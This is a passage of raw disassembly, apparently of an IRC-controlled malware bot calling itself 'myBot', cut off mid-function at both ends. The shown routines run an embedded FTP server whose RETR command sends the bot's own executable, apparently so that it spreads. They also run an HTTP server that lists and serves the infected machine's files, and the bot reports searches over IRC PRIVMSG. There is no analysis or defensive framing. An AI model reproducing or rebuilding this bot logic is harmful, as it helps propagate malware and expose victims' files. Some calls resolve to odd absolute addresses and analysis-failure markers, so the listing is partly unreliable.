[ebp+var_124] rep movsd push eax lea eax, [ebp+var_124] push eax movsw call sub_417AB0 pop ecx push eax lea eax, [ebp+var_124] loc_4057A9: ; CODE XREF: sub_4053D5+423j push eax push [ebp+arg_0] call ebx ; send xor esi, esi loc_4057B1: ; CODE XREF: sub_4053D5+4F6j mov edi, [ebp+arg_0] jmp loc_4059AD ; --------------------------------------------------------------------------- loc_4057B9: ; CODE XREF: sub_4053D5+3ABj lea eax, [ebp+var_AC] push offset aList ; "LIST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4057FA push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C4] rep movsd movsw push eax lea eax, [ebp+var_C4] push eax movsb call sub_417AB0 pop ecx push eax lea eax, [ebp+var_C4] jmp short loc_4057A9 ; --------------------------------------------------------------------------- loc_4057FA: ; CODE XREF: sub_4053D5+3F9j lea eax, [ebp+var_AC] push offset aPort ; "PORT" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4058D0 lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_29C] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_418A52 lea eax, [ebp+var_F8] push eax call sub_41781F mov edi, eax lea eax, [ebp+var_2D0] push eax call sub_41781F mov [ebp+var_8], eax push 32h lea eax, [ebp+var_F8] push esi push eax call sub_417330 add esp, 34h lea eax, [ebp+var_F8] push [ebp+var_8] push edi push offset aXX ; "%x%x\n" push eax call sub_4172B0 push 10h lea eax, [ebp+var_F8] push esi push eax call sub_418A3B add esp, 1Ch mov [ebp+var_8], eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_4172B0 add esp, 18h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" push [ebp+arg_0] call ebx ; send jmp loc_4057B1 ; --------------------------------------------------------------------------- loc_4058D0: ; CODE XREF: sub_4053D5+43Aj lea eax, [ebp+var_AC] push offset aRetr ; "RETR" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40598B push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_8] lea eax, [ebp+var_48] push eax call sub_4059DB pop ecx cmp eax, 1 pop ecx jnz short loc_405981 call sub_405A58 cmp eax, 1 jnz loc_4059AD push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_6D8] push eax lea eax, [ebp+var_48] push dword_436F0C push eax lea eax, [ebp+var_8DC] push offset unk_42A128 push eax call sub_4172B0 add esp, 14h cmp [ebp+var_440], esi jnz short loc_405972 push esi lea eax, [ebp+var_8DC] push [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax push [ebp+var_6DC] call sub_40D679 add esp, 14h loc_405972: ; CODE XREF: sub_4053D5+578j lea eax, [ebp+var_8DC] push eax call sub_40BF6D pop ecx jmp short loc_4059AD ; --------------------------------------------------------------------------- loc_405981: ; CODE XREF: sub_4053D5+532j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_4059AA ; --------------------------------------------------------------------------- loc_40598B: ; CODE XREF: sub_4053D5+510j lea eax, [ebp+var_AC] push offset aQuit ; "QUIT" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4059AD push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_4059AA: ; CODE XREF: sub_4053D5+28Bj ; sub_4053D5+2AFj ... push edi call ebx ; send loc_4059AD: ; CODE XREF: sub_4053D5+3DFj ; sub_4053D5+53Cj ... push 64h lea eax, [ebp+var_29C] push esi push eax call sub_417330 add esp, 0Ch loc_4059BF: ; CODE XREF: sub_4053D5+1E0j ; sub_4053D5+247j inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_405503 jmp loc_4054C8 ; --------------------------------------------------------------------------- loc_4059D1: ; CODE XREF: sub_4053D5+11Ej push 1 pop eax loc_4059D4: ; CODE XREF: sub_4053D5+D0j pop edi pop esi pop ebx leave retn 4 sub_4053D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4059DB proc near ; CODE XREF: sub_4053D5+528p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h nop call near ptr 71AB41DAh push 0 push 1 push 2 nop call near ptr 71AB3C22h push [ebp+arg_0] mov dword_436F08, eax mov [ebp+var_10], 2 call near ptr 71AB12F8h nop push [ebp+arg_4] mov [ebp+var_C], eax nop call near ptr 71AB1746h mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_436F08 nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_405A53 push dword_436F08 call near ptr 71AB1A6Dh nop nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_405A53: ; CODE XREF: sub_4059DB+60j push 1 pop eax leave retn sub_4059DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405A58 proc near ; CODE XREF: sub_4053D5+534p var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 nop call near ptr 2660000h lea eax, [ebp+var_104] push offset aRb ; "rb" push eax call sub_4179A8 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_405AEF test byte ptr [esi+0Ch], 10h jnz short loc_405AD3 push edi mov edi, 400h loc_405A9B: ; CODE XREF: sub_405A58+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_418A86 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push dword_436F08 nop call near ptr 71AB1AF4h push 1 nop call near ptr 2610F93h test byte ptr [esi+0Ch], 10h jz short loc_405A9B pop edi loc_405AD3: ; CODE XREF: sub_405A58+3Bj push esi call sub_417900 pop ecx push dword_436F08 call near ptr 71AB1A6Dh nop nop call near ptr 71AB1836h push 1 pop eax loc_405AEF: ; CODE XREF: sub_405A58+35j pop esi leave retn sub_405A58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405AF2 proc near ; DATA XREF: sub_407252+333o ; sub_40EE72+54E8o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_417330 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_43AD98 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_43AE18 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_405EDD mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_4407FC[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_43ADC4 cmp eax, 0FFFFFFFFh jz loc_405EDD push 7FFFFFFFh push edi call dword_43ADC0 cmp eax, 0FFFFFFFFh jz loc_405EDD lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_43AE34 cmp eax, 0FFFFFFFFh jz loc_405EDD mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_405BC9: ; CODE XREF: sub_405AF2+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_43AD80 cmp eax, 0FFFFFFFFh jz loc_405ED8 xor esi, esi mov [ebp+var_4], esi loc_405BFF: ; CODE XREF: sub_405AF2+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_43AC90 test eax, eax jz loc_405EC3 cmp esi, [ebp+var_C] jnz short loc_405C81 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_43AE2C cmp eax, 0FFFFFFFFh jz loc_405EC3 xor ecx, ecx test ebx, ebx jbe short loc_405C53 lea edx, [ebp+var_134] loc_405C47: ; CODE XREF: sub_405AF2+15Fj cmp [edx], eax jz short loc_405C53 inc ecx add edx, 4 cmp ecx, ebx jb short loc_405C47 loc_405C53: ; CODE XREF: sub_405AF2+14Dj ; sub_405AF2+157j cmp ecx, ebx jnz short loc_405C70 cmp ebx, 40h jnb short loc_405C70 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_405C70: ; CODE XREF: sub_405AF2+163j ; sub_405AF2+168j cmp eax, [ebp+var_8] jbe loc_405EC3 mov [ebp+var_8], eax jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405C81: ; CODE XREF: sub_405AF2+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_417330 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_417330 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_43ADB0 test eax, eax jg short loc_405D14 push esi call dword_43AE30 xor ecx, ecx test ebx, ebx jbe loc_405EC3 lea eax, [ebp+var_134] loc_405CD3: ; CODE XREF: sub_405AF2+1EBj cmp [eax], esi jz short loc_405CE4 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405CD3 jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405CE4: ; CODE XREF: sub_405AF2+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405D08 lea eax, [ebp+ecx*4+var_134] loc_405CF2: ; CODE XREF: sub_405AF2+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405CF2 loc_405D08: ; CODE XREF: sub_405AF2+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405D14: ; CODE XREF: sub_405AF2+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_417330 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_417AB0 add esp, 10h test eax, eax jbe loc_405EC3 loc_405D42: ; CODE XREF: sub_405AF2+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_405DE7 mov esi, offset aGet ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_405DBB lea eax, [ebp+var_18F0] push eax call sub_417AB0 cmp eax, 5 pop ecx jbe short loc_405DBB mov eax, offset asc_42A3B4 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_417880 pop ecx pop ecx push eax call sub_417880 pop ecx pop ecx push eax call sub_418B6E push eax lea eax, [ebp+var_23C] push eax call sub_4179C0 add esp, 10h jmp short loc_405DD2 ; --------------------------------------------------------------------------- loc_405DBB: ; CODE XREF: sub_405AF2+27Fj ; sub_405AF2+291j lea eax, [ebp+var_18F0] push offset asc_42A3B0 ; "\r\n" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_405E06 loc_405DD2: ; CODE XREF: sub_405AF2+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_417330 add esp, 0Ch or esi, 0FFFFFFFFh loc_405DE7: ; CODE XREF: sub_405AF2+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_417AB0 cmp [ebp+arg_0], eax pop ecx jb loc_405D42 jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405E06: ; CODE XREF: sub_405AF2+2DEj xor ecx, ecx test ebx, ebx jbe short loc_405E50 lea eax, [ebp+var_134] loc_405E12: ; CODE XREF: sub_405AF2+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_405E23 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405E12 jmp short loc_405E53 ; --------------------------------------------------------------------------- loc_405E23: ; CODE XREF: sub_405AF2+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405E47 lea eax, [ebp+ecx*4+var_134] loc_405E31: ; CODE XREF: sub_405AF2+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405E31 loc_405E47: ; CODE XREF: sub_405AF2+336j dec ebx mov [ebp+var_138], ebx jmp short loc_405E53 ; --------------------------------------------------------------------------- loc_405E50: ; CODE XREF: sub_405AF2+318j mov esi, [ebp+var_4] loc_405E53: ; CODE XREF: sub_405AF2+32Fj ; sub_405AF2+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_405EBC lea eax, [ebp+var_360] push eax call sub_417AB0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_417AB0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_405EBC and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_43AE34 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_4060D0 add esp, 14h jmp short loc_405EC3 ; --------------------------------------------------------------------------- loc_405EBC: ; CODE XREF: sub_405AF2+369j ; sub_405AF2+38Fj push esi call dword_43AE30 loc_405EC3: ; CODE XREF: sub_405AF2+11Dj ; sub_405AF2+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_405BFF jmp loc_405BC9 ; --------------------------------------------------------------------------- loc_405ED8: ; CODE XREF: sub_405AF2+102j mov edi, [ebp+var_C] xor ebx, ebx loc_405EDD: ; CODE XREF: sub_405AF2+6Aj ; sub_405AF2+92j ... call dword_43AD2C push eax lea eax, [ebp+var_8F0] push offset unk_42A36C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_405F23 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_40D679 add esp, 14h loc_405F23: ; CODE XREF: sub_405AF2+40Cj lea eax, [ebp+var_8F0] push eax call sub_40BF6D pop ecx push edi call dword_43AE30 push [ebp+var_254] call sub_417078 pop ecx push ebx call near ptr 2610356h nop pop edi pop esi pop ebx sub_405AF2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F4D proc near ; DATA XREF: sub_4060D0+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_417B30 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_4172B0 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_405FB3 push offset aTextHtml ; "text/html" jmp short loc_405FB8 ; --------------------------------------------------------------------------- loc_405FB3: ; CODE XREF: sub_405F4D+5Dj push offset aApplicationOct ; "application/octet-stream" loc_405FB8: ; CODE XREF: sub_405F4D+64j lea eax, [ebp+var_9C] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 2680000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi nop call near ptr 2670000h lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_406031 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4172B0 add esp, 24h jmp short loc_406052 ; --------------------------------------------------------------------------- loc_406031: ; CODE XREF: sub_405F4D+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4172B0 add esp, 28h loc_406052: ; CODE XREF: sub_405F4D+E2j lea eax, [ebp+var_1654] push edi push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_43ADE8 cmp [ebp+var_A4], edi jnz short loc_406092 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_406A0D pop ecx pop ecx jmp short loc_4060AF ; --------------------------------------------------------------------------- loc_406092: ; CODE XREF: sub_405F4D+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_406387 add esp, 10h loc_4060AF: ; CODE XREF: sub_405F4D+143j push [ebp+var_44C] call dword_43AE30 push [ebp+var_B4] call sub_417078 pop ecx push edi nop call near ptr 2610356h pop edi pop esi sub_405F4D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4060D0 proc near ; CODE XREF: sub_405AF2+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_417330 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_406106 push eax push offset aS_2 ; "\\%s" jmp short loc_40610F ; --------------------------------------------------------------------------- loc_406106: ; CODE XREF: sub_4060D0+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40610F: ; CODE XREF: sub_4060D0+34j lea eax, [ebp+var_10C] push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_417AB0 test eax, eax pop ecx jbe short loc_4061AA mov [ebp+arg_8], 2 loc_40613A: ; CODE XREF: sub_4060D0+D8j lea eax, [ebp+var_10C] push eax call sub_417AB0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40617A cmp [ebp+esi+var_10C], 25h jnz short loc_40617A cmp [ebp+esi+var_10B], 32h jnz short loc_40617A cmp [ebp+esi+var_10A], 30h jnz short loc_40617A inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_406194 ; --------------------------------------------------------------------------- loc_40617A: ; CODE XREF: sub_4060D0+7Aj ; sub_4060D0+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40618A push 5Ch pop eax jmp short loc_40618D ; --------------------------------------------------------------------------- loc_40618A: ; CODE XREF: sub_4060D0+B3j movsx eax, al loc_40618D: ; CODE XREF: sub_4060D0+B8j mov [ebp+ebx+var_210], al loc_406194: ; CODE XREF: sub_4060D0+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_417AB0 cmp esi, eax pop ecx jb short loc_40613A loc_4061AA: ; CODE XREF: sub_4060D0+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset aSS_2 ; "%s%s" push eax call sub_4172B0 lea eax, [ebp+var_314] push offset asc_42A660 ; "\n" push eax call sub_418B6E add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 26902BBh push 1 cmp eax, 10h pop esi jz short loc_4061FB cmp eax, 0FFFFFFFFh jnz short loc_4061FE push [ebp+arg_0] jmp loc_40627E ; --------------------------------------------------------------------------- loc_4061FB: ; CODE XREF: sub_4060D0+11Cj mov [ebp+var_4], esi loc_4061FE: ; CODE XREF: sub_4060D0+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40620B mov [ebp+var_4], esi loc_40620B: ; CODE XREF: sub_4060D0+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_406289 cmp [ebp+arg_C], edi jz short loc_40627D lea eax, [ebp+var_314] push offset asc_42A65C ; "*" push eax call sub_4179D0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_4172B0 lea eax, [ebp+var_210] push eax call sub_406ACA add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_4172B0 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_4062D8 ; --------------------------------------------------------------------------- loc_40627D: ; CODE XREF: sub_4060D0+152j push ebx loc_40627E: ; CODE XREF: sub_4060D0+126j call dword_43AE30 jmp loc_406380 ; --------------------------------------------------------------------------- loc_406289: ; CODE XREF: sub_4060D0+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 26507E6h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4062D8 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_4172B0 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 2690000h push esi mov [ebp+var_330], eax nop call near ptr 2631A0Bh loc_4062D8: ; CODE XREF: sub_4060D0+1ABj ; sub_4060D0+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_42A61C push eax call sub_4172B0 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_416D5C mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_4407F4[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_405F4D push edi push edi call near ptr 2680C08h nop mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_440804[ecx], eax jz short loc_406352 loc_406340: ; CODE XREF: sub_4060D0+280j cmp [ebp+var_318], edi jnz short loc_406380 push 5 call near ptr 2610F93h nop jmp short loc_406340 ; --------------------------------------------------------------------------- loc_406352: ; CODE XREF: sub_4060D0+26Ej push ebx call dword_43AE30 nop call near ptr 2650B3Dh push eax lea eax, [ebp+var_8C4] push offset unk_42A5D4 push eax call sub_4172B0 lea eax, [ebp+var_8C4] push eax call sub_40BF6D add esp, 10h loc_406380: ; CODE XREF: sub_4060D0+1B4j ; sub_4060D0+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_4060D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406387 proc near ; CODE XREF: sub_405F4D+15Ap ; sub_40EE72+49C9p var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_417330 mov edi, [ebp+arg_0] push offset asc_42A660 ; "\n" push edi call sub_418B6E add esp, 14h cmp [ebp+arg_8], ebx jz short loc_4063E6 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41782A add esp, 14h jmp loc_4064E5 ; --------------------------------------------------------------------------- loc_4063E6: ; CODE XREF: sub_406387+3Aj cmp [ebp+arg_C], ebx push edi jz loc_4064CB call sub_417AB0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 push edi call sub_417AB0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 0Ch jmp short loc_4064E5 ; --------------------------------------------------------------------------- loc_4064CB: ; CODE XREF: sub_406387+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h loc_4064E5: ; CODE XREF: sub_406387+5Aj ; sub_406387+142j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 cmp [ebp+arg_C], ebx jz short loc_406580 push [ebp+arg_C] call sub_417AB0 cmp eax, 2 pop ecx jbe short loc_406580 push [ebp+arg_C] call sub_417AB0 sub eax, 3 pop ecx jz short loc_406531 loc_406525: ; CODE XREF: sub_406387+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_406531 dec eax jnz short loc_406525 loc_406531: ; CODE XREF: sub_406387+19Cj ; sub_406387+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_418C10 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 loc_406580: ; CODE XREF: sub_406387+180j ; sub_406387+18Ej lea eax, [ebp+var_388] push eax push edi nop call near ptr 26C0000h lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call near ptr 26B0000h nop test eax, eax jz loc_406970 mov edi, 1FFh loc_4065AC: ; CODE XREF: sub_406387+5E3j cmp [ebp+var_388], ebx jz loc_406958 lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_406958 lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_406958 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call near ptr 26A0667h nop lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call near ptr 26A0000h nop mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_406621 mov ecx, offset aAm ; "AM" loc_406621: ; 